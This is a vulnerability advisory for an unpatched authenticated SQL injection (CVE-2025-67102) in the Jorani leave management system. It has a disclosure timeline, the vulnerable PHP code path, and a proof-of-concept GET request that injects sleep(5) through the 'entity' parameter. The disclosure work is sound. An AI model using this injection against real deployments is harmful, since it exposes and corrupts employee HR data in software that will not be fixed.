CVE(s):

CVE-2025-67102

Product:

Jorani

Severity:

High

Affected version(s):

≤ v1.0.4

Fixed version(s):

Unpatched

Disclaimer

No fix, patch, or official mitigation is available for this vulnerability at the time of publication.
The project maintainer has confirmed the issue but stated that no remediation is planned, as the project is going to be archived.
Organizations relying on this software should consider the vulnerability permanent and evaluate alternative solutions or isolation measures.

Introduction

Jorani is an open-source, web-based leave management and overtime tracking system, designed to help organizations manage employee absences, approvals, and HR workflows in a simple, lightweight way.

Issue

We identified a high-risk vulnerability in the Jorani project affecting the latest development branch (v1.0.4) as well as the master branch. An authenticated SQL injection could allow an employee to extract, alter or delete the database content.

Timeline

Date Description
11/08/2025 Initial report of the vulnerability to the project maintainer
11/08/2025 Vulnerability acknowledged by the maintainer
12/08/2025 Technical details and impact analysis sent to the maintainer
22/09/2025 Follow-up email sent to the maintainer
20/01/2026 Follow-up email sent to the maintainer
- No response received since then

Technical details

The function getAllChildrenItem is vulnerable to a SQL injection vulnerability. This function uses the parameter $id and concatenates it directly into the SQL query.

public function getAllChildren($id) {
    $query = 'SELECT GetFamilyTree(id) as id' .
                ' FROM organization' .
                ' WHERE id =' . $id;
    $query = $this->db->query($query);
    if(!$query) {
        $arr = [];
    } else {
        $arr = $query->result_array();
    }
    return $arr;
}

The vulnerable function is called from different places. For example, the route /contracts/calendar/alldayoffs calls the function allDayOffs from Contacts.php.

public function allDayoffs() {
    header("Content-Type: application/json");
    $start = $this->input->get('start', TRUE);
    $end = $this->input->get('end', TRUE);
    $entity = $this->input->get('entity', TRUE);
    $children = filter_var($this->input->get('children', TRUE), FILTER_VALIDATE_BOOLEAN);
    $this->load->model('dayoffs_model');
    echo $this->dayoffs_model->allDayoffs($start, $end, $entity, $children);
}

The entity parameter is passed through an HTTP GET parameter, and is injected in the allDayoffs() function call from the dayoffs model. This same parameter is then injected into the getAllChidren vulnerable function.

public function allDayoffs($start, $end, $entity_id, $children) {
    $this->lang->load('calendar', $this->session->userdata('language'));

    // ...

    if ($children === TRUE) {
        $this->load->model('organization_model');
        $list = $this->organization_model->getAllChildren($entity_id);
        $ids = array();

    // ...
}

Sending the below HTTP request will execute the sleep SQL statement and send response after a 5 second delay.

GET /contracts/calendar/alldayoffs?entity=sleep(5);&children=true&csrf_test_jorani=c68f62226591858d8fd5003649f4661d&start=2025-07-27&end=2025-09-07&_=1754772955640 HTTP/1.1
Host: jorani.local:8000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:141.0) Gecko/20100101 Firefox/141.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
X-Requested-With: XMLHttpRequest
Cookie: [REDACTED]

Resources